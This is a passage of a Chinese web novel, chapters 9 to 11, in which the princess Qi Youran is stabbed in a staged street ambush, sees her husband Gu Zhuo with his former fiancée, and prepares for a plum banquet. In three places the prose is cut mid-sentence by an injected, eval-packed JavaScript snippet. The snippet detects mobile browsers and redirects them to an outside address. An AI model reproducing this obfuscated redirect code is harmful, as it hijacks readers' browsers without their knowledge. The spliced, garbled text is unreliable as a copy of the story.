“松风楼很好吃？”祁悠然指尖摩挲着石案上的裂纹。 “松风楼不好吃?”谢珩不可置信，“城南第三棵槐树底下，青布幌子缀着红流苏那家！” 祁悠然仍是一脸茫然。 “你竟不知道松风楼？”谢珩震惊地看她，“他家的厨子怕不是食神转世，八珍烩和佛跳墙，揭盖时那股子香气能绊住过路人的脚！” “是呀，自从一年前有幸尝过，我和哥哥就念念不忘。”谢瑄喉结咕咚一滚，在一旁附和，“居然连松风楼都没光顾过，你这郡主当得可太不值了。” 谢珩眼皮一颤，猛地拍了弟弟一下。 他小心翼翼地打量祁悠然的脸色，却发现对方垂眸看着手里的话本子，睫羽在鼻梁投下青影。 风忽地掀起书页，哗啦啦翻到“相爷夜探香闺”那章。 半晌，祁悠然合上话本，忽然轻笑：“下次便去试试松风楼。我这个郡主，值当得很。” 远处老梅枝裹了层酥酪白，偏有枝丫拗不过雪重，“嘎吱”一声折了腰。 . 回府路上，顾濯略过话本堆顶的《风流相爷》：“郡主这趟收获颇丰。” 难得见他主动和自己打趣，祁悠然把话本子搁在桌案上，笑吟吟道：“确实。” 顾濯沉吟片刻：“妙仪尚且年幼，望郡主不要怪罪她。” 手臂隐隐作痛，祁悠然垂下眼：“你就只想说这些？” “……谢家二子也是顽劣，没有坏心。” “我知道，我没有怪他们。”祁悠然一点点收起笑，“原是我在夫君心里，竟与市井泼妇无二？” “郡主慎言。”顾濯喉结滚了滚，咽下未出口的辩白。 车内陷入尴尬的安静。 “你的寒毒并非不可医。”祁悠然突然提起，“我亦听闻过那位邬先生精通此道。” “医好了如何？” 祁悠然移开目光，艰难地一字一句：“我……” 顾濯直直看她：“没有意义。我不能痊愈。” 不是不会，是不能。 “陛下既要顾某做柄断剑……”他掩下眼底厉色，“这残躯便是最好的结果。” 一路无言。 下了马车，顾濯驻足却未回眸：“早些歇息。” 还算关心的话语，却是公事公办的语气。 满地月霜，满地白雪，月华淬银，雪色凝光。碎琼乱玉铺满庭除，分不清是月光衬得雪色更明亮还是雪色映得月光更皎洁。 顾濯的背影却浸在浓墨里，在天地缟素间劈开一隙孤绝，萧索，寂寥。 祁悠然默默看着，自嘲地想，已经数不清是第几次了，他又留给我一个背影。 . “咳咳……” “做戏便是做戏，那几个人下手也太没轻没重了些。”夏瑾蘸着药膏心疼地给祁悠然上药，眉头紧锁。 祁悠然臂上淤青泛着紫绀色，她本就生得白，在烛火下衬得双臂愈发触目惊心。 新伤叠旧疤，指尖抚过凸起的骨节，夏瑾忍不住掉眼泪。 “怎么哭了？”祁悠然拍了拍她。 “小姐，我们离开侯府吧……” “糊涂话都说出来了？”祁悠然手一顿。 “小姐……” “欠他的，总要还的。”祁悠然敛目。 她垂眸凝视腕骨旧疤，苦笑道：“况且，我也想赌一赌。”赌他对我有那么一点真情。屋外的朔风吞下了后半句话。 “小……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860264|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “夏瑾，要叫我什么？” 夏瑾抿嘴不说话。 她擦了擦眼泪：“郡主，白石今天回来了，说岭南那边出了点事。” 祁悠然凝眉：“怎么了？” “林如霜寒热交攻，病得愈发重了，周氏央求您找个大夫。” “她倒有脸求。凭什么觉得我会同意？”祁悠然眼中划过一丝厌恶。 “周氏说……她手里还有几件您母亲当年的遗物。”夏瑾看着她的脸色，喉间发涩。 哐当！ 祁悠然骤然攥紧桌子。烛火惶惶跌撞，将她眼中翻涌的黑潮碎成金箔。 . 桌案的如意纹忽地活了，扭曲成陈年的疤痕。 祁悠然指尖抚过泛黄信笺，烛火的光屑浮在瞳仁上，影影绰绰。 “儿寒乎？可添衣？寝可安枕？新裁的月白团丝锦被压在樟木箱里，莫贪凉。” “欲食乎？新做的樱桃毕罗味道甚是不错，莫贪多，恐伤脾胃。” “小厨房煨着火肉白菜汤，撇净浮油存于青花瓮，三更添炭文火炖之，不知合乎吾儿胃口？” “新雨泼湿，山头荔枝熟了，吾儿喜食乎？状若绛纱罩骊珠，应似吾儿及笄时点的胭脂。” “待归时……” 蝇头小楷在此处洇开团墨云，许是梅雨潮气打湿了笔锋。 她应该是位温柔却早逝的贵妇，信里尽写些琐碎牵挂：问女儿有没有添衣、提醒别贪凉吃太多樱桃毕罗、担心汤水不合胃口、幻想女儿及笄时的美好模样…… 最后那句“待归”的断裂却像命运突然掐断的琴弦，戛然而止。 刻薄的养母，早逝的生母，恶毒的继母……在祁悠然的印象里，“母亲”是指一个符号，在她遥远而模糊的记忆里被语焉不详地一笔带过——直到她发现了这些信笺。 洋洋洒洒的文字，像雨，落入心湖，漾起涟漪，扩散成圆，又一点点消散。 她惊觉，自从被寻回，府上处处可循这位跟她无缘无分的生母的痕迹。 未绣完的并蒂莲，院子里蛀了虫的桃树，旁人欲言又止的眼神…… 一切的一切，并不完满。 而母爱恰从这些残缺处渗出。 原来，在某个未知的角落，仍有人在无声地爱着你。 为什么要报复继母呢？ 也有这位生母的原因在吧。 褪色的绢花、霉斑的糕饼、尖酸的话语…… 族谱上黯然的空白，祠堂里蒙尘的牌位，佛龛前永不兑现的祈福经…… 晒僵的陈皮在陶瓮里返潮，烛火照出畸影，她也暴露出睚眦必报、六亲不认的卑劣品性。 所有的仇恨与痛苦，都在三年前，因为她的孤注一掷，划上带血的句点。 但她不后悔，反倒是拙劣地沾沾自喜于自己的冷血。 像被抛弃的果核，在十余年昏暗中，顶着干瘪的壳探出芽尖，挣出颗青涩的果。 9. 受伤 院子里的积雪还未扫去，一派银装素裹的景象，在惨淡的冬日下泛着冰冷的光。 窗外，几个粗使婆子正踩着梯子，费力地将大红的灯笼挂上廊檐，那刺目的红色，映着院中皑皑白雪，平添了几分虚假的热闹。 屋内炭火烧得正旺，祁悠然搁下年礼单子，指尖依旧冰凉。 府里上下都在为即将到来的新年忙碌，唯有她这里，一片死寂。 “郡主。”夏瑾捧着刚沏的热茶进来，觑着她的脸色道，“听说松风楼新请了个江南来的大厨，做的叫花鸡和东坡肉是独一份。要不……奴婢去给您打包些回来？也当是添个新鲜菜式，您这几日胃口都不大好。” 这几日许是因着周氏的事，祁悠然兴致不高，连带着这丫头也总小心翼翼的。 “不必了。”她站起身，将膝上的毛毯放到一边，“闷了许久，我出去透透气。正好，亲自去松风楼看看，这引得谢家二郎垂涎了一整年的菜，究竟有何过人之处。” “是，郡主！”夏瑾抿嘴一笑，圆圆的眼睛弯成月牙，带着点孩子气的雀跃。 “这么开心？”祁悠然眼中划过一丝笑意。 夏瑾点点头，像只欢快的雀儿，扑棱着翅膀在原地忙碌起来，裙摆打转，撒开一道道弧。 她边忙活边絮叨着：“外头冷得紧，您得多穿点，这件狐狸毛斗篷正好御寒，新做的鹿皮靴也要换上，雪地里走着不湿脚，对了，还有手炉……” 看着夏瑾忙前忙后的身影，祁悠然多日积压的不愉快也散了些。 . 主仆二人下了马车，凛冽的朔风卷着雪沫子扑面而来，刮得脸生疼。 不过街道上比前阵子更热闹了些，祁悠然向来喜欢这些俗世欢喜。 采买年货的人络绎不绝，似绣娘落下的针线，在市井这块绸布上穿起人间烟火。 处处洋溢着年节的喜庆。 距离松风楼尚有一箭之地，转过一个堆着残雪的街角，一阵凄厉绝望的哭嚎和男人暴戾的咒骂声，将祥和年景撕出个破口。 “丧门星！败家娘们儿！大过年的触老子霉头！打死你个晦气东西！”一个裹着旧棉袄、满脸横肉的壮汉，正揪着一个头发散乱、衣衫褴褛单薄的妇人，蒲扇般的大手左右开弓，狠命地扇打。 妇人被打得滚倒在肮脏的雪泥里，她蜷缩着，发出痛苦的呜咽。 周围迅速拢了一圈看客，抄着手指指点点，议论着“清官难断家务事”，却无一人上前。 那汉子见无人阻拦，气焰更盛，抬脚就朝妇人腰腹狠狠踹去。 他脸上的暴虐与养父母狰狞的脸重合——祁悠然恍惚间又看到了养母下撇的嘴角，养父眉心的竖纹。 记不清是第几次挨打了，她已经不会哭了，甚至能分出心来注意到那渣胎碗沿的豁口，直到闻到隔夜饭菜的微馊气息，痛楚这才迟缓地、汹涌地漫上来。 她慢慢支起身子，坐在一地的狼藉上喘息，像一具供月光凭吊的残骸。 只是月亮似乎也生了怜悯的心，仓皇地扯过一片云，将自己惨白的脸藏了个严实。那点偷漏下来的微光，虚浮无力，像是同病相怜之人呵出的一阵无可奈何的叹息，只衬得这夜的底子愈发污秽浓稠。 祁悠然好像又尝到了唇边血的腥咸温热，混杂着尘土和某种说不清道不明的、腐烂生活的霉味。 她陡然生出一股戾气。 “住手！” 那壮汉动作一滞，凶狠地瞪过来，待看清只是个裹在斗篷里的纤弱女子，眼中顿时涌上不屑：“呵！哪来的小娘皮多管闲事？想替这贱货挨揍？正好……” 话音未落，惊变陡生。 那蜷缩在地的妇人在祁悠然靠近时，眼中露出怨毒凶光，从袖中极快地抽出一把匕首，趁着祁悠然注意力被壮汉吸引的瞬间，猛地弹起，刀尖直直刺向祁悠然心窝。 “郡主——！”夏瑾尖叫着，不顾一切上前。 这变故来得过于突然，祁悠然瞳孔骤缩，她下意识抬手挡住那致命一击。 “噗嗤！” 锋利的刀刃狠狠划过了祁悠然抬起的右手手掌。 剧痛伴随着温热的液体喷涌，鲜血大滴大滴滚落在地，瞬间染红雪白的斗篷。 那妇人一击不中，眼中凶光更盛，还想再刺，却被反应过来的侍卫一把拧住手腕夺下刀。 黏腻温热的液体从指缝间不断渗出，祁悠然只垂眸瞥了一眼，仿佛看的不是自己的血，而是袖口一块不洁的污渍。她俯身，冰冷的目光静静注视着妇人那张枯槁怨毒的脸，如同打量一件秽器。 “呵。”她发出一声极冷的嗤笑，“好一招‘苦肉计’！我记得你，王张氏。为了你那该下地狱的儿子，竟也能豁出这张老脸，不惜装可怜、扮家暴、当街行刺，就为了引我这看客走近些？这份慈母心肠，真真是感天动地。” 她微微一顿，嘴角牵起一丝近乎悲悯的、残酷的弧度：“只是可惜啊，你那心肝一般的儿子，已经死了。” 那妇人被她轻飘飘的语气刺激，浑浊的眼珠暴突，陷入一阵可怕的癫狂：“你怎么不去死！你这吸人骨髓的恶鬼！你草芥人命！你不得好死！” 祁悠然漠然直起身，任由那恶毒的诅咒从耳边刮过：“把他们带下去好好审问，近来接触过什么人。” 声音平静无波，甚至带着一丝处理日常琐事般的倦怠。 就在这时，一个熟悉的身影带着一身寒气，步履匆匆地从松风楼的方向拐了过来，似乎办完事正要离开。来人一身玄色劲装，腰佩长刀，身形矫健，他循着扎堆的人群，好奇地探头打量，却一眼看到中心的祁悠然。 江烨几乎是飞扑过来，声音都变了调，带着难以置信的惊惶：“郡……郡主！您的手！谁伤的你？！” “一点小意外，死不了。” 江烨心头的慌乱却更甚。 祁悠然的目光掠过江烨，落在远处的松风楼，语气带着一丝冰冷的探究：“世子呢？也去了松风楼？” 江烨愣住，眼神不受控制地闪烁，下意识避开了她的视线，支支吾吾道：“世子……在楼上雅间……会……会友……” “会友？”祁悠然唇角勾起冰冷的嘲讽，“除了裴朔，他顾濯在京城还有别的朋友？” 江烨冷汗涔涔，不敢接话，只能把头垂得更低。 祁悠然不再看他，目光越过江烨紧绷的肩头，直直投向松风楼那扇雕花大门。 一道颀长挺拔的身影率先踏出。积雪与大氅的墨色形成反差，衬得他面容愈发清俊冷冽，身姿如孤峰寒松——正是她的好夫君，永安侯世子顾濯。 紧随其后，几乎与他袍角相衔，步调相和的，是一抹温婉的倩影。 温颜，顾濯曾经青梅竹马、差点就三媒六聘迎娶过门的前未婚妻。 刹那间，时间如同被泼了一层厚厚的、粘稠的脂膏，凝滞冻结。 街市的喧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860265|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚣、伤口的剧痛、江烨的慌乱、围观者的议论、甚至呼啸的寒风，都倏然褪色、拉远、模糊，沉入水底成为一片混沌不清的背景杂音。 两个人浑身上下透着一种无言的、针插不进水泼不进的熟稔与……般配。 檀郎谢女？何止。 分明是神仙座下的一双金童玉女，莹然生辉，纤尘不染，只衬得她这满手血腥、狼狈站立于泥泞雪地里的旁观者，污秽不堪，如同闯入华堂盛宴的叫花子，平白污了清贵无双的画卷。 原来，她比自己想象中更介意……更害怕。 祁悠然站在原地，灵魂抽离躯壳，僵直如一尊冰雕。 黏腻温热的液体，带着生命的热度，正从她紧握的指缝间，一滴，又一滴，沉重地、缓慢地砸落下来。 血肉模糊的右手，带着迟钝的痛意侵袭。 她忘记了去按紧那不断涌出热流的伤口。 她就那么直愣愣地、空洞地看着。 看着顾濯小心翼翼地护着温颜，一步一步踩下那几级不算高的台阶，生怕她滑倒。 看着温颜微微仰起那张精心描摹过的脸，对顾濯露出一个温婉柔顺、带着几分羞涩和全然依赖的笑靥。 看着顾濯轻轻颔首，那素来覆着寒冰的，对着她时连一丝裂纹都吝于显露的侧脸，此刻线条竟奇异地、陌生地软化了，展露出一丝清浅的笑意。 温和、专注、耐心——这些只存在于她卑微幻想里的东西，此刻，却如此慷慨地、毫不吝惜地倾泻在另一个女人身上。 顾濯似乎终于察觉到了那道过于直接，甚至带着怨毒的注视。他抬起头，目光穿过不算远的距离，对上了祁悠然的眼睛。 她的目光如若实质，正一瞬不瞬地钉着他，眼神木然，却带着一种濒死野兽般的、要将他也一同拖入地狱的执拗。 他的脚步顿住了。冰雪消融的面庞又瞬间冻结，重新覆盖上祁悠然无比熟悉的的寒意。 然而，那冰冷之下，似乎还翻滚着一丝极其复杂的情绪。 他的视线，锐利地落在了她滴血的右手上，眉头几不可察地蹙了蹙。 温颜顺着顾濯的目光也看了过来。看到祁悠然的瞬间，她那张精致的脸上先是闪过一丝恰到好处的惊讶，随即迅速晕染开浓浓的担忧和歉意。她亲昵地牵了牵顾濯大氅的衣袖，樱唇微启，低声说了句什么。 她总是那般善解人意，想必字字句句都是熨帖他心肠的。 祁悠然听不见，也不想听。 她只是看着顾濯。 看着他眼中冰冷的审视，如同在估价一件损坏的货物。 怎么，嫌我辱没你顾家门楣了？ 看着他因温颜的拉扯而微微转开的侧脸。 怎么，恼我打扰你重温旧梦了？ 看着他下意识地将温颜护得更周全一些的姿态。 怎么，怕我伤害你心尖上的人了？ 那一刻，所有的痛楚、屈辱和不甘，连同那三年积压在心底、几乎令她窒息的绝望，如同决堤的洪水，裹挟着万钧之力，将她彻底淹没。 “夏瑾，回府。” 声音不大，甚至带着一丝平静。 她挺直了早已冻得僵硬的背脊，一步一步，踏着自己滴落在地上的血痕，朝着与松风楼、与顾濯、与温颜完全相反的方向走去。 身后的目光，无论是冰冷的审视，还是假意的担忧，抑或是看客的唏嘘，都再与她无关。 10. 苦痛 主仆二人沉默地走在回房的路上。 风雪似乎更大了，夏瑾紧紧挨着祁悠然，试图用自己单薄的身体为她挡去些许寒风。 进屋后，她立马手脚麻利地打来热水，又翻出上好的金疮药和白棉布。 “郡主，您忍着点。”夏瑾的声音带着浓重的鼻音。 祁悠然看向她，果不其然，眼睛已经红了。 狰狞的伤口暴露出来，皮肉翻卷，深可见骨，边缘被冻得发白。 夏瑾倒吸一口冷气，眼泪又涌了上来，她强忍着，用温热的帕子极其轻柔地清理伤口周围的血污。 祁悠然全程没有哼一声，只是苍白着脸静静看着夏瑾专注而心疼的动作。 她活了这么些年，似乎一直在与苦痛作伴。 曾经粗布白丁时，那苦是粗糙、直接的，是冬日里冻得青紫的指节，是重量勒进骨头的柴担，是碗底照得见人影的清汤寡水。日子像一块洗得发白、僵直的粗布，粗鲁地硬套在身上，时时刻刻提醒着那点硌人的贫瘠。 后来高门贵女时，苦痛换了副精致的面孔。它掩藏在锦衣玉食的表象里，是宅院里森严的规矩，是暗流涌动的宅斗阴私，晨昏定省，行止坐卧，一步错，便是万劫不复的深渊。 现在封为郡主后，那苦更是镀了一层金，沉甸甸地压在心口。 曾经她以为只要往上爬，便能摆脱困境，却没料到，这苦痛竟也随着身份水涨船高，愈发显得隆重而体面起来。 从食不果腹衣不蔽体的困境，变成了触及内心伤及性命的威胁。 来源未知，感知艰难。 “郡主，如果不是我……”夏瑾终是忍不住，低声呜咽起来。 祁悠然的手顿在半空，最终轻轻落在夏瑾颤抖的背上。 “咳咳……”她又开始咳嗽。 “不要自责，我若有出门的需要，便会被他们抓住可乘之机。”祁悠然试图宽慰她。 “倒是可惜这狐狸毛斗篷了。”她抬了抬嘴角，想挤出一个笑，却实在有心无力。 今天太累了。 “郡主。”屋外有人轻叩门扉。 “进。” “您的手……”来人是白石，行动利落，武艺高强，眉宇间带着英气的姑娘，一直帮着祁悠然处理外头的事。 “无妨，皮外伤。”祁悠然抬眼，“发生何事了？” “岭南那边，周氏和林如霜不见了。” 祁悠然眼皮一跳，想站起身，眼前却阵阵发晕，她跌坐在软蹋上：“什么时候的事！” “刚递来的急报。” 伤口又渗出血，祁悠然强压下起伏的心绪：“找！必须把她们找到！” “是！” 祁悠然看了眼屋外，天气更恶劣了，风雪像是灰白的绝望，沉沉地压下来。 她还是心太软了，明明当初……就应该直接杀了她们的。 . 伤口包扎完毕，虽依旧疼痛，但血总算止住了。 她自嘲地想，不管是年少时的农活，还是后来的疤痕，她的手一直算不上好看，如今被彻底毁了，倒也不算过于可惜。 她换下染血的斗篷和衣裙，只着一身素净的寝衣，斜斜倚在临窗的软榻上，闭着眼假寐。 今天经历的太多事，情绪起伏太大，如山倒般的倦意来势汹汹。 不知过了多久，院门外传来一阵声音。 脚步声沉稳，是惯有的持重，底下却压着一丝不易察觉的急促。 紧接着是模糊的问询和压低的回应。 顾濯回来了。 久违地踏进了她的院子。 祁悠然睁开眼睛。 因为怕惹风寒，屋内没有开窗，空气浑浊得化不开。 适才的血腥气尚未散尽，浓烈的金疮药味霸道地弥漫开来，与熏炉里燃着的香料纠缠在一起。 铁锈般的腥、药石的涩与熏香的腻，在时间的催化下发酵，混杂出一种奇异的、令人窒息的怪味，挤压着稀薄的空气。 祁悠然看着那错金铜博山炉，丝丝缕缕的香雾升腾、盘绕、纠缠，在她黑沉的眸子里变幻着诡谲的形状。 脚步声突然近了，踩在廊下冰冷的地上，却是清晰得像踏在她的心尖上。 然而，到了门前，却又迟疑了。 他站得实在是有些久了，久到祁悠然倚在软榻上的身子又瘫软下去，那点强撑的清醒也如同将熄的烛火，在药力与疲惫的拉扯下，一点点飘摇下沉，眼看就要沉入混沌的黑暗里去。 “笃，笃，笃。” 门被敲响，像石子投入死水般的寂静里，激起无形的涟漪，也惊散了祁悠然那点摇摇欲坠的睡意。 那声音在她耳膜里嗡嗡地响着，引得额角阵阵闷痛。 “进来吧。”她的声音轻飘飘的，没什么力气，也听不出情绪。 开门时带起一阵冷风，直直闯入屋内。 那风像一只无形的手，猛地攫住了炉顶袅袅升腾的香雾，随后粗暴、近乎蛮横地一搅。 方才还缠绵悱恻的烟缕，顷刻间便溃不成军，被撕扯得七零八落，消散在袭来的冷气里。 . “你的手怎么回事？伤得如何？”顾濯看向她，又不自在地移开目光。 他手微微动了动，想做些什么，终究只是手指徒劳地蜷缩了一下。 “划了一下，不妨事。”声音平平的，带着疏离与冷淡。 “我……”他往前挪了半步，发出一个短促的音节。 这是来向我解释吗？ 祁悠然缓慢地直起身子，抬头看他，抿起血色极淡的唇。 烛火明明灭灭，灯下的她脸色显得愈发虚弱。 顾濯并不习惯被她这么看着，那未出口的话似乎卡得更深了。 屋内重新陷入安静。 时间也许过去了一会，也许过去了很久。 顾濯像是急于填补这令人窒息的空白，生硬地转开了话题：“大夫可来看过了？” 祁悠然目光缓缓垂落下去，长长的睫毛在眼下投出阴影，恰到好处地掩去了连她自己都未曾察觉到的失落。 总归是不甘心的，她还是主动问了一句：“夫君今日‘会友’可还顺利？” “会友”二字，被她咬得极重。 “……嗯。”顾濯手指无意识摩挲了下衣角，像是没听出来她话中的阴阳怪气，草草揭过。 祁悠然气极反笑，胸口陡然涌上一股愤怒，接着是惶然的委屈与绝望。 她嘴角似乎想动一下，最终只是垂下眼。 一句简单的解释都没有。 她在期待什么呢？ 之前的红绡楼还能说是有别的目的才去，之后也未见他踏足。她勉强能说服自己。 那……这一次呢？ 是觉得两人光天化日清清白白，不需要解释，还是觉得对着一个不知廉耻，强求婚事，毁了他大好前程，也坏了与青梅竹马心上人良缘的卑劣女子，根本不屑于开口解释呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860266|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 是她理亏，本是她欠下的，她该有自知之明的…… 才不是！ 她小肚鸡肠、心胸狭隘，一直都耿耿于怀。 鼻尖涌上涩意，祁悠然低头看着被包裹得层层叠叠的右手，指尖无意识地抠着白棉布的边缘。 她此刻的样子想必是极为难看的。 “咳咳……”祁悠然又咳嗽起来，近乎把肺都撕开。 他特意过来做什么呢？ 不论如何，她应该是要感谢他的，感谢他百忙之中抽空专程来一趟，感谢他真心也罢做戏也罢的关怀，感谢他开门的一瞬驱散了些屋内难闻的味道，甚至还可以预先感谢他关门时能再让屋里散一些味。 “可要喝茶？”顾濯皱眉，想为她倒茶，却顿住，他环顾四周，因为并不熟悉祁悠然屋内器物的摆放位置，一时只能尴尬地站在原地。 待看见茶壶，还未来得及上前，祁悠然自己便笨拙地伸手去够茶壶，手腕有些不稳。 “可还觉得冷？要不要再添点炭？”顾濯声音又响起，带着些亡羊补牢的意味。 若是仔细听，其实能听出一种小心翼翼的关切。 不过祁悠然已经没有了这份心思，她深深呼出一口气：“不冷。” 她不再看他，仿佛耗尽了最后一点维持对话的力气。 “若是无事，夫君便回吧。”她随手抓起案几上的账目，眼神虚虚地落下，半天没翻动一页。 她总是嘲笑那些京城淑女的虚荣，可现下她的隐忍，又何尝不是另一种虚荣的表现。 这虚荣，比那些争抢珠翠的欲望更深沉，也更悲哀。 它要的是那层无懈可击的、用痛苦和沉默织就的体面外壳。 就像现在的她，将血肉模糊的伤口用洁净昂贵的白棉布一丝不苟地包扎好，再套上素雅得体的寝衣，端坐在那里，仿佛一切都未曾发生，仿佛那皮开肉绽的痛楚只是旁人臆想的幻影。 原是身位低的人，最容易滋生居高临下的优越感和自欺欺人的自尊心。 屋内只剩下炭火偶尔的噼啪声。 烛火在祁悠然脸上跳跃，投下深深浅浅的阴影，最终凝固成一张半明半暗的的面具。一半被暖黄的光晕笼罩，显出近乎透明的脆弱；另一半却沉在浓重的暗影里，叫人看不真切。 顾濯僵立在那里，看着祁悠然低垂的颈项和那专注得近乎刻意而凄楚的动作，喉结明显地上下滚动了一下，最终也只是留下一句干涩的“早点歇息”。 转身离开的脚步声，竟带着一丝如释重负般的仓皇。 门被他轻轻阖上，隔绝了里外。 那点被他带进来的新鲜冷气，很快又被药味吞没了。 . 廊下，风雪似乎小了些，但寒意更甚。 “世子，郡主她……”江烨欲言又止。 “已经无碍了。”顾濯语气平淡，像在陈述一件稀疏平常的公务。 五个字仿佛宣告此事就此了结，与他再无干系。 江烨踌躇了一下，终究还是忍不住，声音更低，几乎成了气音：“那今天您和温小姐的事……” 顾濯的脚步几不可察地顿了一瞬，侧脸的线条在廊下风灯的微光里显得更加冷硬。 “无事。”他很快接道，声音里听不出波澜。 然而，短暂的沉默后，像是为了彻底堵住这个话题，带着一丝急于摆脱的、近乎自嘲的轻忽，他添了一句，“她……”一个微妙的停顿，“很好哄。” 11. 争执 三日后，雪霁初晴。 祁悠然面无表情地打量着右手，结痂的伤口依旧狰狞地盘踞在手心，边缘是触目的红，微微肿胀着。 幸好，药很有效果，伤口没有化脓，她那点可怜的体面，总算是保住了。 “郡主……”夏瑾看着那伤口，心疼得眉头紧锁。 “好了，打住，不准哭。”祁悠然用另一只拧了拧夏瑾的脸，“这次梅花宴我是一定要去的。” 她慢条斯理地挑了只簪子，稳稳插进挽得一丝不苟的发髻里：“这府里府外，多少双眼睛看着。我若不去，又有人拿这事做文章了。” 她看了眼镜中的自己，眉眼清冽，唇色浅淡，透着股迟暮的恹恹之色。 像披了副皮囊的孤魂野鬼。 祁悠然轻轻呼出一口气，抿上口脂。 那一点红，是浓的，是烈的，硬生生将那份恹色逼退了几分，起死回生般将精神气唤了些许回来。 她再次抬眼时，镜子里便是一个墨彩描金的丽人——眉眼依旧，唇色秾艳。 只是那美，浮在面上，沉不到眼底，像纸糊的灯笼，经不得一点风吹草动。 “时间差不多了，要走了。” 她早就习惯了，甚至麻木了——无非是继续在苦难中蹒跚而行。 外面日头正好，阳光却显出了些泼辣脾气，狠狠摔在积雪上，碎成一片刺目生疼的芒，亮得人心里发虚。 . 祁悠然行动迟缓地登上马车，顾濯将书卷搁在一旁，想伸手扶她，却被不着痕迹地避过。 顾濯的手顿在半空，若无其事地收回，重又拿起书。 “手可还好？” “嗯。” “……” 两人各自守着方寸之地，一个对着书页，目光却不知落在何处；一个端坐着，视线虚虚投向晃动的车帘缝隙。 车轮不知碾过了什么，发出单调而沉闷的“咯吱”声，车内的安静便愈发显得庞大而诡异起来。 . 梅花宴，哦不，叫寄春宴。 满目皆是锦绣华服，挤挤挨挨，堆叠出层层叠叠的富贵气象，珠光宝气在雪光下折射出俗艳的光，晃得人眼晕。 这些个宴会，总爱取些不沾人间烟火的高雅字眼来装点门面。 就好比现下的“寄春园”，名字倒是雅致，却也是锦绣堆的，珠玉砌的。 寄春寄春，从未经历过严冬，哪里需要真的寄春。 这“春”，不过是里面的人酒足饭饱后，捏着鼻子赏玩的一点消遣。 园内数株红梅倒是生得极好，虬枝遒劲，点点红苞在白雪映衬下绽放，清冷幽香浮动，却依旧难掩扑鼻的脂粉香和酒味。 尽管梅香固执地想要穿透这浑浊的空气，却还是成了这锦绣堆里一种格格不入的、带着点讽刺意味的陪衬。 什么踏雪寻梅，什么阳春白雪？剥开那层附庸风雅的薄纱，内里翻滚的，不过是千篇一律的觥筹交错，是眼风流转间的掂量算计。 祁悠然混迹其中，右手隐在宽大的云锦衣袖里，严严实实地遮掩着，与周遭那些描金绣凤的臂膀无甚差别，若不是还透着些疼，仿佛那狰狞的伤口从未存在过。 她眼角的余光，轻轻掠过身旁的顾濯。他淡漠地看着眼下的一切，那些锦绣、珠光、笑语喧哗，落在他眼底，竟激不起一丝涟漪，叫人猜不透，也看不穿。 祁悠然心底蓦地浮起一丝惘然。 曾在学院时，顾濯并不像如今这般。 若硬要将眼下的他比作一潭深不见底的死水，连风都吹不起半点褶皱的话，那么彼时的顾濯，至多算是一泓平静的湖面。面上自然也是古井不波的，可到底年少，那层平静的水面底下，偶尔还会透出些活泛的光影来——或是被一句机锋刺得眼底微澜，或是在某个午后，对着窗外的阳光，眉宇间掠过一丝不易察觉的松动。 那点鲜活气，像早春冰面下悄然流动的暗涌，虽不汹涌，却实实在在存在着。 他随自诩功名利禄之辈，但也是经当代大儒授课，沾了些文人雅士习气的。对梅花这种君子品格的化身、孤高气节的写照，他的热忱一脉相承，以诗咏梅，以画写梅，以梅为友……他是一样不落的。 至于折梅，这等煞风景、辣手摧花的事，自然只有她这种骨子里不通风雅、只凭本能行事的“俗物”才做得出来。 太祖皇帝最爱梅花，却深知上有所好，下必甚焉的道理。若因他一人之爱，引得举国效仿，权贵竞相攀折、移植、赏玩，甚至形成风气，那他所爱的梅花，便不再是雪中清客，而成了暖阁金笼里的玩物，失了那份他珍视的“气节”。于是，这份帝王之爱，成了大梁朝堂与上流圈子一个秘而不宣、却又人人皆知的“秘密”。 虽自古便有折梅寄情的风雅之事，在如今大梁，便成了一种极其罕见、甚至带着点“不合时宜”的莽撞行为。 彼时，那些世家子弟皆在鄙夷她的粗俗不堪，顾濯大约也是微微蹙了下眉的，却终究什么也没说。如今想来，那声沉闷的响，竟像是某种预兆，早早地就预示了后来的碎裂与疏离。 祁悠然现在想起来却只觉得好笑。太祖皇帝怕失了梅的气节，可这满园的锦绣堆砌，又何尝不是另一种更彻底的扼杀？她当年折下的那一枝，纵然枯萎，或许倒还曾短暂地保有了一丝野外的生气。 “哟，郡主您金尊玉贵地赏着，觉得这寄春园的梅花……可还入眼？”一个懒洋洋的的声音斜飘过来，尾音拖得极长，“若是瞧着欢喜，不如就顺手拔一株回去，搁在您那镶金嵌玉的暖阁里，也好细细品鉴个够？” 祁悠然看去，裴朔正吊儿郎当地倚在梅树下，一身华服穿得歪斜，仿佛那锦绣绫罗也裹不住他骨子里的轻佻刻薄。 